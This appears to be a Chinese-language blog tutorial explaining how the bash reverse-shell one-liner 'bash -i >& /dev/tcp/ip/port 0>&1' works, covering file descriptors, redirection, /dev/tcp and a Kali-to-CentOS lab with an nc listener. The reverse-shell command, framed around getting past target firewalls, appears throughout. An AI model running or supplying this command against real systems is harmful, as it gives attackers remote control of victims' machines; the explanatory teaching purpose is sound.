nc反弹以及中 &>、0>&1是什么意思

1.简介

本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1
观点有误,欢迎指出!

目标讨论命令:bash -i >& /dev/tcp/ip/port 0>&1


2.基本知识

1. bash

bash是什么? 是一种shell。 shell是什么?
此处引用https://blog.csdn.net/weixin_42432281/article/details/88392219

Shell:一般我们是用图形界面和命令去控制计算机,真正能够控制计算机硬件(CPU、内存、显示器等)的只有操作系统内核(Kernel),由于安全、复杂、繁琐等原因,用户不能直接接触内核,需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核,内核和用户之间就多了一层“中间代理”,Shell 其实就是一种脚本语言,也是一个可以用来连接内核和用户的软件,我们编写完源码后不用编译,直接运行源码即可。

常用的Shell:bash由 GNU 组织开发,sh 是 UNIX 上的标准 shell,是第一个流行的 Shell,bash保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。现在sh 已经基本被 bash 代替,bash是sh的扩展补充,但是也有些是不兼容的,大多数情况下区别不大,特殊场景可以使用 bash 代替 sh。

通俗点讲,shell设计好的一个程序,用户可以用他内置的命令去执行如今需要用鼠标等设备进行的操作(如:创建文件、解压缩包)等,最早期电脑没有显示屏,及没有可视化页面,一切操作全靠命令。随着用户化开发而有了如今的可视化操作。理解了这也就了解了bash简单来讲就是一个执行命令操作的窗口

冷知识:Linux在shell窗口输入echo $0可以查看当前shell是什么


2.反弹shell

在安全渗透中我们在攻击目标终端时可能会遇阻碍问题导致无法对目标终端控制,比如防火墙、ip变更连接不稳定

这里就防火墙讨论,防火墙策略除特别配置基本都是——进严出松,什么意思呢?

通俗来讲:防火墙是我买来的保镖,我的保镖保护我——让别人不能主动跟我说话。但我要主动去跟别人说话,保镖就不会拦着(前提:我没有主动给保镖设置我和什么特征的人说话他会拦着我)。

我主动跟别人说话这个过程(以我的视角)——这叫正向连接(我连接别人)
别人主动跟我说话这个过程(以我的视角)——这叫反向连接(别人连接我)

但通常我们以攻击者视角,即我主动连接别人的终端电脑,这是正向连接
别人的终端电脑连接我,这是反向连接

所以“反弹shell”就是,被攻击的终端电脑主动把shell交给我,这样不会被防火墙拦截。
(我要主动让你把你的手机“解锁了”给我,你也不会给我吧~)

这也间接说明反弹shell的基础是在,我至少是拥有一部分目标主机的权限(我能碰到你解了锁的手机),才能让目标主机主动把shell给我


3. 文件描述符 0 1 2 文件描述符

文件描述符是什么?
这篇文章我觉得写的很清楚https://zhuanlan.zhihu.com/p/364617329

意思是一个进程需要操作到的文件会在内核中构成一个数组,数组值代表对应的文件,而文件描述符即文件的数组下标(这也是为什么会从0开始),而规定从操作系统启动开始,有下面三个固定序号
0 表示标准输入(stdin)
1 表示标准输出(stdout)
2 表示标准错误(stderr)
即0永远代表标准输入文件的下标,1永远代表标准输出文件的下标,2永远代表标准错误文件的下标
这类似于编程中的指针,有数据结构基础可能好理解些

总结就是:

  1. 一个进程的完成会涉及很多操作目标,每次运行前都会事先把所有目标列成一个表格
  2. 这个数字就是一个代号,一个数字代表一个目标
  3. shell窗口是交互式,最基本目标就是 一个输入信息的地方 一个输出成功结果信息的地方 一个输出报错信息

所以常用就这三个并且数字固定不变————输入、结果输出、报错输出(对应0,1,2)

举个例子:
在 shell 中,我输入 whoami ,紧接着返回了 smile

那么我们可以想象,whoami和smile以及smiel@localhost等这些人类可读文字都是数据,这个shell的"可视化页面"也就是后面黑色的荧幕就是瓶子,这个命令过程(进程)就是一个流水线,流水线上有很多管道通向内核但我们看不见。
而我们只能看到进入了瓶子的水(即把数据打印在黑色的荧幕上),至于水在管道里被shell的其他部件怎么控制去内核、发生什么我们不知道也不关心
(知识点1:可视化页面只是整个shell程序的一小部分)

参考下面示例图

根据在shell窗口里一条命令显示的位置关系我暂时把以下命名

  1. 我们认为是键盘,这可能有点抽象。Linux里有个文件叫/dev/stdin,我们可以暂时理解为键盘敲击内容会先保存在里面,比显示在屏幕上更早,那桶就是这个文件
  2. 上瓶子我们认为就是shell里显示输入信息的那块区域(前面有$符号),他不是重点,目前简单理解为验证键盘的输入,因为键盘输入了什么,他就会复制一份显示在这块区域
  3. 下瓶子就是shell里显示输出结果的那块区域(前面是空的)

注意!!!这是三块不同区域(着重记住桶和下瓶子)

shell里默认:
编号0指向键盘(桶),是用于取水的地点
编号1指向无$区域(下瓶子),用于把水从管道导出的地点

编号2同样指向无$区域(下瓶子),因为错误信息本质也是输出
(注意和1区分,1是成功后的结果信息,2是报错信息)

可以看图,“cat...没有那个文件...”这部分是报错信息,因为刚刚说的2默认指向和1相同的区域,所以我们看见他在刚刚编号1的下瓶子区域显示出来

(知识点2:说明同一个区域(比如下瓶子)可以被多个描述符(编号)指向)

而所谓在进程里的那张记录0,1,2的表,可以理解为管理本次进程(流水线)的管理员手里拿着个名册,记录本次进程任务需要哪些区域(水的容器)

理解了此处,对于后面辨认重定向关系就简单多了

此时我们思考一个问题:一条命令执行前信息的读取和执行完成后结果显示在哪关键在于那张记录0.1.2是指哪个瓶子的表。如果我们能改变那张的表格。比如我们把错误信息放在无$区域(下瓶子),把成功的结果放在1.txt中,并且同时执行一条正确命令和一条错误命令,那是不是就能在两边分别得到不同信息呢。


4.Linux重定向

百度百科对Linux重定向的解释

Linux重定向是指修改原来默认的一些东西,对原来系统命令的默认执行方式进行改变,比如说简单的我不想看到在显示器的输出而是希望输出到某一文件中就可以通过Linux重定向来进行这项工作。

首先认识几个符号

  • 输入重定向 <或<<
  • 输出重定向(覆盖) >
  • 输出重定向(追加) >>

现在我们有改表的方法了,这三个符号就是我们的工具,比如说刚刚编号1指向下瓶子,我现在要换成盆(1.txt假设是盆),那么编号1就要指向盆的名字

这个箭头方向不要管!!!
理解为“修改为”的意思,我们只需要从左到右读,比如输出重定向,以这个1.txt为例。
意作 whoami这条命令进程中-标准输出1的目标-修改为-1.txt
正规写法是 whoami 1>1.txt
思考:

  • 我们可以设想,我们把下瓶子换成盆了,那么信息就全进入盆了,所以下瓶子是不会有东西的

实验验证:

  1. 可以看到结果正如我们所设想,下瓶子区域没有任何东西,使用cat命令查看1.txt(盆)中,是有刚刚相同的信息的

  2. 并且可以看出平常我们是省略了重定向符号功能所对应的文件描述符号的(即数字1),此处不加文件描述符我们把结果写入2.txt结果也是和1.txt一样效果

还记得刚刚那个问题,我们同时输入一条正确和一条错误的命令,如下:

我们使用&&符号可以同时运行两条命令————&&这个符号认识吧,并且的意思,前面正确后后面才进行判断

如下执行命令后:
可以看到我们同时有一个正确输出和一个错误输出,并且都在没$符号的区域,即下瓶子区域

所以现在我们进行实验去验证刚刚的想法,把错误信息留在这,把成功结果为了区分放在2.txt吧.我们只需要把1指向修改为2.txt,2默认指向这所以不用修改

这里先做一个错误演示

可以看到hack.jpg仍然在这,这是因为刚刚说了&&符号的逻辑是前面正确了才执行后面,所以这里ls执行完毕了,才执行后面部分,1>2.txt不属于ls命令,它属于cat 1.txt,但cat 1.txt是错误输出2,所以1>2.txt等于没有任何效果。

所以我们要改一下写法

可以很清楚看到,原本一起显示的hack.jpg没有了,而我们查看2.txt(盆)里是有这个信息的。
再次提醒:2.txt里是另外一个区域,cat命令只是又把他从2.txt(盆)里提取出来,放在了无$区域(下瓶子)里,让我们看见了

至于0的输入,同样是一个代号,它默认指向的是有$的区域(上瓶子),我们同样可以用重定向符号修改
那我们的命令不用键盘输入,用什么输入呢?
答案是:文本

其实我们用的最多的文本读取命令cat就是输入重定向

继续实验

我们在1.txt中写入Hello World
如果我们要查看内容就要用到cat 1.txt命令
但我们单独看cat 1.txt这个命令本身,我们并没有输入Hello World1.txt代替了键盘,里面的内容代替了键盘输入的内容打印在了我们的屏幕上

到这里,你应该已经很清楚了解了描述符0,1,2以及简单改变其中一个描述符的指向了


5.&>、0>&1

&用法1

&本身是逻辑运算and的意思
在之前描述符的介绍中我们也发现了,标准输出1和错误输出2,他本质都是输出,所以我们给他内置了对描述符操作时 & 等于 1&2
注意:此符号使用时就不需要管符号在>的哪边了
&>等于>&
所以
whoami 1>1.txt 2>1.txt等于whoami 1&2>1.txt也等于whoami &>1.txt还等于whoami >& 1.txt

&用法2

现在我要做一个骚操作,什么呢?
假设我要存放的文件名很长很复杂,比如叫123qweiop345qwe.txt
我现在把标准输出1和错误输出2都放在这里面,那命令是不是应该这么写
ls 1>23qwe678iop345qwe.txt 2>23qwe678iop345qwe.txt

我天,太长了,我累了!!!
所以我要简写,怎么简写呢?我们可以看到描述符1指向文本文件23qwe678iop345qwe.txt,在流水线管理员那写的是
1 ————> 23qwe678iop345qwe.txt
2 ————> 23qwe678iop345qwe.txt
我现在嫌他长,我写成
1 ————> 23qwe678iop345qwe.txt
2 ————> &1
这个意思是错误输出2 指向的是标准输出1 所指向的地方,即23qwe678iop345qwe.txt
这里的&符号作为区分1是文件名还是文件描述符,如果我们少了&,那么2指向的是1.txt

具体写法为2>&1

结论:所以0>&1其实也就是输入描述符指向的是输出描述符指的地方

知识点3:文件描述符可以互相间接指向

所以我们得到两种&符号的用法

  1. &后是空的 代表 1 and 2
  2. &后面有数字 代表数字对应的描述符

这时可能有可爱的小朋友会问了:师傅师傅,我要这样写呢
&>&0
emmmmmmmmm...
你留下来单独补课!!!

答案是:不可以,这俩符号只能用一次,会报错无法识别命令


6./dev/tcp/ip/port

这个不需要过多解释,这不是我们的重点,因为Linux万物皆文件。

  • 从意义来讲,这一串东西就是使用dev设备容器通过tcp方式与一个ip的port端口建立连接
  • 实际复制这个路径去目录中查看是没有这个东西的

以刚刚流水线很好理解,可以把这个东西理解为这又是一根管道,这根管子它不属于shell了,是shell外的一根管子,即流水线设备外的一根管子。

管道一端是本地主机(整个工厂),另一端是输入的远程IP主机(其它工厂),管子只关心是否成功连接以及哪端数据口有数据就传输到对面去,至于两端具体是什么样(是瓶子、是盆)管道不关心
所以为什么远程段会用nc监听,nc可以把传过去的数据处理后显示在对方shell页面上(nc提示监听成功那个区域也是一个瓶子,用来显示数据),如果有其它方法接收我们的tcp连接的数据,那也可以。反正两端互相不知道对方干了啥,也不关心


3.bash -i &> /dev/tcp/ip/port 0>&1

在此之前我们回收三条结论:

  1. shell是一个大程序(流水线的组成很多),我们重定向的是管道里的数据流向哪,我们可能不需要流水线自己的瓶子了,而换成别的区域,只需要把描述符指向他就行
  2. 同一个区域(瓶子)可以被多个描述符(编号)指向
  3. 文件描述符可以互相间接指向

首先这是我们的命令:
bash -i >& /dev/tcp/ip/port 0>&1
这条命令的逻辑可以拆开看,因为命令是从左到右读取
bash -i >& /dev/tcp/ip/port
这是什么意思呢

  • bash之前解释了是一个用户与内核沟通的程序,他有我们看的见的页面。
  • -i 是他的参数,意为交互式页面,交互式就是bash是等待键盘输入的命令,反之,非交互式是读取文本里的文字作为命令,也就是提前设置了刚刚学习的描述符0的重定向

而整个bash -i是一个程序,和我们输入这条命令的这个shell页面是一样的东西
(注意:这是新创建一个子shell了)
关于子shell与父shell这里暂时不解释

我们以最简单的命令讨论,一次命令就是一个进程,他有一个输入提取区域、一个输出存放区域

bash -i >& /dev/tcp/ip/port
意为把bash程序里输出的所有水(标准输出和错误输出)倒进/dev/tcp/ip/port这个瓶子里,而刚刚解释了/dev/tcp/ip/port是一根管子,他不能储存,所以他就流到另一端去了,即远程监听的设备。于是,我们在远程主机监听就能监听到这个bash程序输出的信息
注意:shell的本体任然在本地主机上,只是我们把流出来的数据导入了TCP那根管子

并且如果我们实验会发现一件有趣的事~
攻击端:Kali
靶机:CentOS
本来目的:用kali控制CentOS

首先我们的Kali监听9999端口

然后我们的CentOS输入命令,把bash的描述符1,2,即两种输出发给Kali
回车键后,可以看到我们的光标已经到下面去了

而Kali 似乎 也进入了CentOS的bash

但是!!! 有趣的来了
我们在Kali上输入命令ls,回车键后光标已经下去,但是~ 我们发现没有任何反应

接着我们在CentOS上输入ls命令
最有趣的事来了 我现在其实已经在键盘上输入了ls并且回车键,但是可以看到CentOS上什么反应都没有,甚至连输入的东西都没有

但我们去看Kali那边,居然!!!它显示了ls的执行结果出来
事实证明我们在CentOS输入的命令是执行了的,但为什么看不到呢?

这就要说到那个显示的ls即刚刚称呼的上瓶子区域的信息是怎么出现的了。
这里我们直接说结论,相关讨论我们在文章结尾讨论,因为这不是我们的重点

  • 这里的ls实际上是把本地(CentOS)键盘的输入的信息复制在上面了,其目的是为了防止用户输入命令时输入错误,其本质也是输出的信息,所以顺着描述符1指向的地方出去,所以跑到了远程Kali的页面上去了

那我们我们以及知道了我们的输入描述符0在这个语句中是没有改变指向的,仍然是默认的本地(CentOS)键盘,而输出描述符1指向了TCP的管道

所以整个流程是这样:
本地键盘输入信息——>shell根据描述符0指向,从键盘读取键盘输入的信息——>进行内核交互后得到执行结果——>结果返回shell的未知部件——>shell根据描述符1指向,把结果数据丢到TCP管道里(包含执行结果和第二步读取键盘信息时复制的上瓶子区域的信息)——>输出信息经过TCP管道流到远程Kali——>kali的nc把显示数据正确显示到屏幕上

所以刚刚具体发生了示例图就变成了

我们重新梳理一下:

  • 输入符0指向键盘
  • 输出符1指向TCP管道
  • shell运行本身也有输出(比如(smile㉿kali)-[~/Desktop])部分,shell打开的一瞬间已经执行完成把数据显示到我们shell的描述符1默认指的整个黑色页面上成为文字
  • shell可以设计输出的可视化页面样式,把我们键盘输入的复制放在有$区域,把命令执行结果放在无符号区域

但其实键盘输入的复制是可以显示的,这个不是重点,我们在文章结尾讨论

清楚了前半部分,后半部分其实很好理解了,无非多加了一个指向

注意!!!
要明确的是我们的描述符1指的是tcp连接,即这根管子

那么0>&1是什么意思呢

首先我们前半段的表写的是啥
0 ———— > 本地键盘
1 ———— > TCP管道
2 ———— > TCP管道

这就很好理解了,我们刚刚的 结论3:描述符可以间接指向
0>&1的意思就是:描述符0指向描述符1指向的区域
所以表格变成如下

0 ———— > TCP管道
1 ———— > TCP管道
2 ———— > TCP管道

含义就是shell的输入来自tcp管道

OK本文结束了...

开玩笑~

之前我们说了TCP那根管道他只管传输数据,现在0指向了tcp管道,就变成我们原来从本地键盘接收数据,现在变成从TCP管道接收数据。管道里的数据从哪来呢?我们不关心,我们只管认准是TCP管道出来的数据就行了
那管子另一端是什么呢,是我们的远程主机的shell,更准确的是shell上的nc。

所以解释一下整个流程发生了什么:

  1. nc接收到连接后就可以在键盘上输入东西了,输入的东西就会被nc控制biu~传进TCP管道里
  2. shell根据0的指向从TCP管道接收数据作为shell的输入的命令
  3. 然后命令被送往内核交互后得到结果
  4. 结果根据1或2的指向(反正都是TCP管道)传入TCP管道
  5. nc把从TCP管道接收到的数据打印在自己的shell上

刚刚的示例图就变成

思考:我们刚刚交互式那个问题,我们即使没有传过去可视化页面的内容,即本地的描述符1没有指向TCP管道,但0指向了TCP管道,那远程主机把键盘输入的东西传到TCP管道里,仍然可以变成了这个shell的命令输入,然后执行命令,最后把结果打印在本地主机上

答案是:当然可以

这里Kali开启监听

然后CentOS只把0指向TCP管道,可以看到光标在下面,执行成功

这时我们看kali是监听到TCP连接的并且没有shell页面,所以是原本的全黑页面

但我们执行ls命令,回车键后光标已经在下面

我们再去看CentOS,可以看到他自己显示了结果。所以我们的结论是正确的

彩蛋:可以看到这里键盘输入的复制是显示在了Kali上,但我们说我们并没有把输出信息传输给Kali啊


4.后续讨论:

这个回显键盘输入功能其实只在交互式起作用

具体什么是交互式页面呢,引用交互式页面

交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。

看不懂? 没关系~
反之咋就了解,交互式就是要等待用户输入命令,既然要输入,为了避免用户输错,shell就设计把我们输入的命令复制作为数据然后根据1原本默认指向shell的可视化页面,而我们把这部分输出指向tcp了,那回显的数据我们自然看不见
但如果我们用非交互式,他是从文件读取命令,这个子shell的功能就消失了。
我们可以在我们本来的父shell里输入命令,并且我们的shell本身也是交互式的,所以有回显。
但我们的TCP管道没有关,我们在父shell里输入被丢进了管道里,所以就能看见回显去输入命令了

这里反弹时直接去掉-i参数,然后我在CentOS输入了pwd 可以看见pwd显示出来了

而Kali仍然能把执行结果显示

5.参考文章

https://blog.csdn.net/weixin_42432281/article/details/88392219
https://zhuanlan.zhihu.com/p/364617329
https://blog.csdn.net/gui951753/article/details/79154496

热门相关:黄头发2   秘密爱   年轻的小姨子   谎言:女模特之性   官仙